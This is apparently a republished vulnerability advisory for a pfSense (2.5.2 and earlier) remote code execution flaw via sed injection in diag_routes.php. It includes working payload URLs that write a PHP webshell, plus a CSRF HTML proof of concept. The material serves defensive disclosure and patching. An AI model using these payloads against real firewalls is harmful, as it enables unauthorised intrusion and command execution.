Remote Code Execution in pfSense

Remote Code Execution in pfSense <= 2.5.2

(RCE) Remote Code Execution in pfSense


pfSense allows authenticated users to get information about the routes set in the firewall. The information are retrieved by executing the netstat utility and then its output is parsed via the sed utility. While the common prevention patterns for command injections (i.e. the usage of the escapeshellarg function for the arguments) are in use, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location. This vulnerability could be also exploited pre-authentication as the vulnerable endpoint is also vulnerable to a Cross-Site Request Forgery (CSRF).

Product Description (from vendor)

pfSense® Plus software is the world’s most trusted firewall. The software has garnered the respect and adoration of users worldwide – installed well over three million times. Made possible by open source technology. Made into a robust, reliable, dependable product by Netgate.



Root Cause Analysis


pfSense while trying to show the routes set in the firewall executes the sed utility with some user-controllable input.
sed – a stream editor – is a powerful utility to perform text transformations and has quite a lot of commands which could be defined as a single command line argument semicolon-separated. The ability of adding multiple commands in one argument is the key for this vulnerability.

What is important to specify before diving into the exploitation details is that pfSense is based on FreeBSD, so all the GNU-specific arguments of sed (e.g. the e/exec argument which could be used to run a system command) are not available.

An excerpt of the vulnerable code follows:

Recommended:  White House and UK Gov attribute DDoS attacks on Ukraine to Russia’s GRU
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 3135 if (isset($_REQUEST['isAjax'])) { 36 require_once(''); 37 38 $netstat = "/usr/bin/netstat -rW"; 39 if (isset($_REQUEST['IPv6'])) { 40 $netstat .= " -f inet6"; 41 echo "IPv6\n"; 42 } else { 43 $netstat .= " -f inet"; 44 echo "IPv4\n"; 45 46 } 47 if (!isset($_REQUEST['resolve'])) { 48 $netstat .= " -n"; 49 } 50 51 if (!empty($_REQUEST['filter'])) { 52 $netstat .= " | /usr/bin/sed -e " . escapeshellarg("1,3d; 5,\$ { /" . htmlspecialchars($_REQUEST['filter']) . "/!d; };"); 53 } else { 54 $netstat .= " | /usr/bin/sed -e '1,3d'"; 55 } 56 57 if (is_numeric($_REQUEST['limit']) && $_REQUEST['limit'] > 0) { 58 $_REQUEST['limit']++; // Account for the header line 59 $netstat .= " | /usr/bin/head -n {$_REQUEST['limit']}"; 60 } 61 62 echo htmlspecialchars_decode(shell_exec($netstat)); 63 64 exit; 65 }

At line 51-52 it could be seen that if the request contains a filter parameter then its HTML special characters are converted to their HTML entities. Then the input is prefixed and suffixed by some hard-coded sed syntax, and finally everything is escaped by the escapeshellarg function, which prevents sub-commands or other arguments from being injected. At line 62 the command is finally executed.

As mentioned before it is possible to inject arbitrary sed syntax, having the only limitation that the input is encoded via the htmlspecialchars function. This allows to use the s/match/replace/ command to replace part of the netstat output with an arbitrary string and the w /path/to/file command to write the output of the sed command to an arbitrary location.

Wrapping everything together an attacker could set in the filter parameter the following string: .*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23 Which will result in the following command to be run:

/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php
#/!d; };'

As the netstat utility always outputs the Destination string, it was chosen to be replaced with <?php system($_GET["a"]);?> and then the output is written to /usr/local/www/a.php.

### Proof of Concept

  1. Login to pfSense
  2. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance: http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23
  3. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance and notice that the id command has been executed: http://<target>/a.php?a=id


An authenticated attacker could write an arbitrary file to the pfSense disk. This can be abused to write a webshell to execute arbitrary code / commands.

Recommended:  October CMS Build 465 - Arbitrary File Read Exploit (Authenticated) 11-13

It should be noted that due to a lack of Cross-Site Request Forgery (CSRF) protections for the vulnerable endpoint it is possible for an attacker to trick an authenticated admin into visiting a malicious website to exploit the vulnerability through the victim’s session/browser. More details are available in the Cross-Site Request Forgery advisory.

A proof of concept to exploit the vulnerability through the CSRF follows:

  1. Login to pfSense
  2. Create an HTML file with the following content by replacing <target> with the IP address / domain of the target pfSense instance:
1 2 3 4<meta name="referrer" content="no-referrer"> <script> window.location = "http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\\x3cscript\\x3eif\\x28location.pathname\\x21\\x3d\\x27\\x2fa.php\\x27\\x29\\x7blocation\\x3d\\x27\\x2fa.php\\x3fa\\x3did\\x27\\x7d\\x3c\\x2fscript\\x3e\\x3c\\x3fphp+system($_GET[\\x22a\\x22])\\x3b\\x3f\\x3e/;w+/usr/local/www/a.php%0a%23" </script>
  1. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance and notice the 404 error: http://<target>/a.php?a=id
  2. Host the HTML page created at step 2 on a webserver and visit it in the same browser used for the other steps
  3. Notice that the Arbitrary File Write has been exploited to create a webshell in /usr/local/www/a.php and the victim is redirected to the webshell (http://<target>/a.php?a=id) to execute the id command


Upgrade pfSense CE to version 2.6.0 or pfSense Plus to version 22.01.

Disclosure Timeline

Recommended:  Data of Puma Employees Stolen in Kronos Ransomware Attack


  • Abdel Adim `smaury` Oisfi of Shielder


You may also enjoy reading, Q4/21: Sees More DDoS Attacks Than Ever Before

Got to Cybersecurity News

Go to Homepage

Go to Cybersecurity Academy

Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for RiSec Weekly Cybersecurity Newsletter Today

Remember, CyberSecurity Starts With You!

  • Globally, 30,000 websites are hacked daily.
  • 64% of companies worldwide have experienced at least one form of a cyber attack.
  • There were 20M breached records in March 2021.
  • In 2020, ransomware cases grew by 150%.
  • Email is responsible for around 94% of all malware.
  • Every 39 seconds, there is a new attack somewhere on the web.
  • An average of around 24,000 malicious mobile apps are blocked daily on the internet.

Check out our CyberSecurity Knowledge Base, accepting submissions @ [email protected][.]net

Share the word, let's increase Cybersecurity Awareness as we know it

Leave a Comment

Your email address will not be published. Required fields are marked *

RiSec Captcha 90 − 85 =